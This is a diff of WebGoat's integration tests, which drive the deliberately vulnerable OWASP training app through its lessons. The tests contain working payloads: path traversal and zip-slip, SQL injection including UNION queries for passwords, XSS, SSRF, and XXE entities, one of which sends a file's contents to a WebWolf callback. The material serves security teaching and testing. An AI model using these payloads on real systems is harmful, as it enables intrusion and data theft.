url("PasswordReset/simple-mail/reset"), webGoatUrlConfig.url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"), Map.of("emailReset", this.getUser() + "@webgoat.org"),
false); false);
checkAssignment( checkAssignment(
url("PasswordReset/simple-mail"), webGoatUrlConfig.url("PasswordReset/simple-mail"),
Map.of( Map.of(
"email", "email",
this.getUser() + "@webgoat.org", this.getUser() + "@webgoat.org",
@ -46,19 +50,19 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
} }
public void assignment4() { public void assignment4() {
checkAssignment( checkAssignment(
url("PasswordReset/questions"), webGoatUrlConfig.url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"), Map.of("username", "tom", "securityQuestion", "purple"),
true); true);
} }
public void assignment5() { public void assignment5() {
checkAssignment( checkAssignment(
url("PasswordReset/SecurityQuestions"), webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"), Map.of("question", "What is your favorite animal?"),
false); false);
checkAssignment( checkAssignment(
url("PasswordReset/SecurityQuestions"), webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"), Map.of("question", "What is your favorite color?"),
true); true);
} }
@ -69,11 +73,10 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
// WebWolf // WebWolf
var link = getPasswordResetLinkFromLandingPage(); var link = getPasswordResetLinkFromLandingPage();
// WebGoat // WebGoat
changePassword(link); changePassword(link);
checkAssignment( checkAssignment(
url("PasswordReset/reset/login"), webGoatUrlConfig.url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true); true);
} }
@ -86,7 +89,7 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("mail")) .get(webWolfUrlConfig.url("mail"))
.then() .then()
.extract() .extract()
.response() .response()
@ -100,16 +103,16 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
public void shutdown() { public void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the // this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete // lesson is marked complete
checkResults("/PasswordReset"); checkResults("PasswordReset");
} }
private void changePassword(String link) { private void changePassword(String link) {
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456") .formParams("resetLink", link, "password", "123456")
.post(url("PasswordReset/reset/change-password")) .post(webGoatUrlConfig.url("PasswordReset/reset/change-password"))
.then() .then()
.statusCode(200); .statusCode(200);
} }
@ -120,7 +123,7 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("requests")) .get(webWolfUrlConfig.url("requests"))
.then() .then()
.extract() .extract()
.response() .response()
@ -135,13 +138,13 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
} }
private void clickForgotEmailLink(String user) { private void clickForgotEmailLink(String user) {
RestAssured.given() RestAssured.given()
.when() .when()
.header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", getWebWolfPort())) .header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port()))
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user) .formParams("email", user)
.post(url("PasswordReset/ForgotPassword/create-password-reset-link")) .post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then() .then()
.statusCode(200); .statusCode(200);
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
@ -48,14 +52,14 @@ class PathTraversalIT extends IntegrationTest {
} }
private void assignment1() throws IOException { private void assignment1() throws IOException {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe") .param("fullName", "../John Doe")
.post(url("PathTraversal/profile-upload")) .post(webGoatUrlConfig.url("PathTraversal/profile-upload"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -64,14 +68,14 @@ class PathTraversalIT extends IntegrationTest {
} }
private void assignment2() throws IOException { private void assignment2() throws IOException {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe") .param("fullNameFix", "..././John Doe")
.post(url("PathTraversal/profile-upload-fix")) .post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -80,7 +84,7 @@ class PathTraversalIT extends IntegrationTest {
} }
private void assignment3() throws IOException { private void assignment3() throws IOException {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -89,7 +93,7 @@ class PathTraversalIT extends IntegrationTest {
"uploadedFileRemoveUserInput", "uploadedFileRemoveUserInput",
"../test.jpg", "../test.jpg",
Files.readAllBytes(fileToUpload.toPath())) Files.readAllBytes(fileToUpload.toPath()))
.post(url("PathTraversal/profile-upload-remove-user-input")) .post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -99,18 +103,18 @@ class PathTraversalIT extends IntegrationTest {
private void assignment4() throws IOException { private void assignment4() throws IOException {
var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given() RestAssured.given()
.urlEncodingEnabled(false) .urlEncodingEnabled(false)
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url(uri)) .get(webGoatUrlConfig.url(uri))
.then() .then()
.statusCode(200) .statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment( checkAssignment(
url("PathTraversal/random"), webGoatUrlConfig.url("PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())), Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true); true);
} }
@ -127,13 +131,13 @@ class PathTraversalIT extends IntegrationTest {
zos.putNextEntry(e); zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8)); zos.write("test".getBytes(StandardCharsets.UTF_8));
} }
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath())) .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(url("PathTraversal/zip-slip")) .post(webGoatUrlConfig.url("PathTraversal/zip-slip"))
.then() .then()
.log() .log()
.all() .all()
@ -147,6 +151,6 @@ class PathTraversalIT extends IntegrationTest {
void shutdown() { void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the // this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete // lesson is marked complete
checkResults("/PathTraversal"); checkResults("PathTraversal");
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.response.Response; import io.restassured.response.Response;
@ -24,12 +28,12 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
Callable<Response> call = Callable<Response> call =
() -> { () -> {
// System.out.println("thread "+Thread.currentThread().getName()); // System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given() return RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test")) .formParams(Map.of("flag", "test"))
.post(url("challenge/flag")); .post(webGoatUrlConfig.url("challenge/flag/1"));
}; };
ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS); ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls = List<? extends Callable<Response>> flagCalls =

View File

@ -1,6 +1,9 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
@ -8,19 +11,19 @@ import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest { public class SSRFIntegrationTest extends IntegrationTest {
@Test @Test
public void runTests() throws IOException { public void runTests() {
startLesson("SSRF"); startLesson("SSRF");
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("url", "images/jerry.png"); params.put("url", "images/jerry.png");
checkAssignment(url("SSRF/task1"), params, true); checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true);
params.clear(); params.clear();
params.put("url", "http://ifconfig.pro"); params.put("url", "http://ifconfig.pro");
checkAssignment(url("SSRF/task2"), params, true); checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true);
checkResults("/SSRF/"); checkResults("SSRF");
} }
} }

View File

@ -0,0 +1,26 @@
/*
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.Map;
import org.junit.jupiter.api.Test;
/**
* @author Angel Olle Blazquez
*/
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
@ -16,27 +20,27 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
params.put("password_reg", "password"); params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com"); params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password"); params.put("confirm_password", "password");
checkAssignmentWithPUT(url("SqlInjectionAdvanced/challenge"), params, true); checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/challenge"), params, true);
params.clear(); params.clear();
params.put("username_login", "tom"); params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly"); params.put("password_login", "thisisasecretfortomonly");
checkAssignment(url("SqlInjectionAdvanced/challenge_Login"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/challenge_Login"), params, true);
params.clear(); params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--"); params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear(); params.clear();
params.put( params.put(
"userid_6a", "userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from" "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --"); + " user_system_data --");
checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear(); params.clear();
params.put("userid_6b", "passW0rD"); params.put("userid_6b", "passW0rD");
checkAssignment(url("SqlInjectionAdvanced/attack6b"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true);
params.clear(); params.clear();
params.put( params.put(
@ -54,8 +58,8 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
params.put( params.put(
"question_4_solution", "question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'."); "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(url("SqlInjectionAdvanced/quiz"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true);
checkResults("/SqlInjectionAdvanced/"); checkResults("SqlInjectionAdvanced");
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
@ -34,45 +38,45 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("query", sql_2); params.put("query", sql_2);
checkAssignment(url("SqlInjection/attack2"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true);
params.clear(); params.clear();
params.put("query", sql_3); params.put("query", sql_3);
checkAssignment(url("SqlInjection/attack3"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true);
params.clear(); params.clear();
params.put("query", sql_4_add); params.put("query", sql_4_add);
checkAssignment(url("SqlInjection/attack4"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true);
params.clear(); params.clear();
params.put("query", sql_5); params.put("query", sql_5);
checkAssignment(url("SqlInjection/attack5"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true);
params.clear(); params.clear();
params.put("operator", sql_9_operator); params.put("operator", sql_9_operator);
params.put("account", sql_9_account); params.put("account", sql_9_account);
params.put("injection", sql_9_injection); params.put("injection", sql_9_injection);
checkAssignment(url("SqlInjection/assignment5a"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true);
params.clear(); params.clear();
params.put("login_count", sql_10_login_count); params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid); params.put("userid", sql_10_userid);
checkAssignment(url("SqlInjection/assignment5b"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true);
params.clear(); params.clear();
params.put("name", sql_11_a); params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b); params.put("auth_tan", sql_11_b);
checkAssignment(url("SqlInjection/attack8"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true);
params.clear(); params.clear();
params.put("name", sql_12_a); params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b); params.put("auth_tan", sql_12_b);
checkAssignment(url("SqlInjection/attack9"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true);
params.clear(); params.clear();
params.put("action_string", sql_13); params.put("action_string", sql_13);
checkAssignment(url("SqlInjection/attack10"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true);
checkResults("/SqlInjection/"); checkResults("SqlInjection");
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.containsString;
@ -23,7 +27,7 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
params.put("field5", "?"); params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")"); params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")"); params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(url("SqlInjectionMitigations/attack10a"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true);
params.put( params.put(
"editor", "editor",
@ -37,37 +41,36 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
+ "} catch (Exception e) {\r\n" + "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n" + " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}"); + "}");
checkAssignment(url("SqlInjectionMitigations/attack10b"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true);
params.clear(); params.clear();
params.put( params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"); "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(url("SqlOnlyInputValidation/attack"), params, true); checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true);
params.clear(); params.clear();
params.put( params.put(
"userid_sql_only_input_validation_on_keywords", "userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"); "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(url("SqlOnlyInputValidationOnKeywords/attack"), params, true); checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get( .get(
url( webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname"
"SqlInjectionMitigations/servers?column=(case when (true) then hostname" + " else id end)"))
+ " else id end)"))
.then() .then()
.statusCode(200); .statusCode(200);
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("SqlInjectionMitigations/servers?column=unknown")) .get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown"))
.then() .then()
.statusCode(500) .statusCode(500)
.body( .body(
@ -78,8 +81,8 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("ip", "104.130.219.202"); params.put("ip", "104.130.219.202");
checkAssignment(url("SqlInjectionMitigations/attack12a"), params, true); checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true);
checkResults(); checkResults("SqlInjectionMitigations");
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
@ -16,14 +20,14 @@ public class WebWolfIntegrationTest extends IntegrationTest {
// Assignment 3 // Assignment 3
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.put("email", this.getUser() + "@webgoat.org"); params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(url("WebWolf/mail/send"), params, false); checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false);
String responseBody = String responseBody =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("mail")) .get(webWolfUrlConfig.url("mail"))
.then() .then()
.extract() .extract()
.response() .response()
@ -37,15 +41,15 @@ public class WebWolfIntegrationTest extends IntegrationTest {
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length())); uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(url("WebWolf/mail"), params, true); checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true);
// Assignment 4 // Assignment 4
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params) .queryParams(params)
.get(url("WebWolf/landing/password-reset")) .get(webGoatUrlConfig.url("WebWolf/landing/password-reset"))
.then() .then()
.statusCode(200); .statusCode(200);
RestAssured.given() RestAssured.given()
@ -53,7 +57,7 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.queryParams(params) .queryParams(params)
.get(webWolfUrl("landing")) .get(webWolfUrlConfig.url("landing"))
.then() .then()
.statusCode(200); .statusCode(200);
responseBody = responseBody =
@ -61,7 +65,7 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("requests")) .get(webWolfUrlConfig.url("requests"))
.then() .then()
.extract() .extract()
.response() .response()
@ -70,8 +74,8 @@ public class WebWolfIntegrationTest extends IntegrationTest {
assertTrue(responseBody.contains(uniqueCode)); assertTrue(responseBody.contains(uniqueCode));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(url("WebWolf/landing"), params, true); checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true);
checkResults("/WebWolf"); checkResults("WebWolfIntroduction");
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import java.util.HashMap; import java.util.HashMap;
@ -14,7 +18,7 @@ public class XSSIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("checkboxAttack1", "value"); params.put("checkboxAttack1", "value");
checkAssignment(url("CrossSiteScripting/attack1"), params, true); checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true);
params.clear(); params.clear();
params.put("QTY1", "1"); params.put("QTY1", "1");
@ -23,17 +27,17 @@ public class XSSIntegrationTest extends IntegrationTest {
params.put("QTY4", "1"); params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>"); params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111"); params.put("field2", "111");
checkAssignmentWithGet(url("CrossSiteScripting/attack5a"), params, true); checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true);
params.clear(); params.clear();
params.put("DOMTestRoute", "start.mvc#test"); params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(url("CrossSiteScripting/attack6a"), params, true); checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true);
params.clear(); params.clear();
params.put("param1", "42"); params.put("param1", "42");
params.put("param2", "24"); params.put("param2", "24");
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -41,7 +45,7 @@ public class XSSIntegrationTest extends IntegrationTest {
.header("webgoat-requested-by", "dom-xss-vuln") .header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest") .header("X-Requested-With", "XMLHttpRequest")
.formParams(params) .formParams(params)
.post(url("CrossSiteScripting/phone-home-xss")) .post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -50,7 +54,7 @@ public class XSSIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("successMessage", secretNumber); params.put("successMessage", secretNumber);
checkAssignment(url("CrossSiteScripting/dom-follow-up"), params, true); checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true);
params.clear(); params.clear();
params.put( params.put(
@ -73,7 +77,7 @@ public class XSSIntegrationTest extends IntegrationTest {
"question_4_solution", "question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that" "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes."); + " the browser executes.");
checkAssignment(url("CrossSiteScripting/quiz"), params, true); checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true);
params.clear(); params.clear();
params.put( params.put(
@ -99,7 +103,7 @@ public class XSSIntegrationTest extends IntegrationTest {
+ "</table>" + "</table>"
+ "</body>" + "</body>"
+ "</html>"); + "</html>");
checkAssignment(url("CrossSiteScripting/attack3"), params, true); checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true);
params.clear(); params.clear();
params.put( params.put(
@ -109,8 +113,8 @@ public class XSSIntegrationTest extends IntegrationTest {
+ "s.scan(newComment,\"\");" + "s.scan(newComment,\"\");"
+ "CleanResults();" + "CleanResults();"
+ "MyCommentDAO.addComment(threadID, userID).getCleanHTML());"); + "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
checkAssignment(url("CrossSiteScripting/attack4"), params, true); checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true);
checkResults("/CrossSiteScripting"); checkResults("CrossSiteScripting");
} }
} }

View File

@ -0,0 +1,121 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
// TODO fix me
// /*
// * This test is to verify that all is secure when XXE security patch is applied.
// */
// @Test
// public void xxeSecure() throws IOException {
// startLesson("XXE");
// webGoatHomeDirectory = webGoatServerDirectory();
// RestAssured.given()
// .when()
// .relaxedHTTPSValidation()
// .cookie("JSESSIONID", getWebGoatCookie())
// .get(url("service/enable-security.mvc"))
// .then()
// .statusCode(200);
// checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
// checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
// checkAssignment(
// url("xxe/blind"),
// ContentType.XML,
// "<comment><text>" + getSecret() + "</text></comment>",
// false);
// }
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
*/
private String getSecret() {
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String webWolfCallback = webWolfUrlConfig.url("landing");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
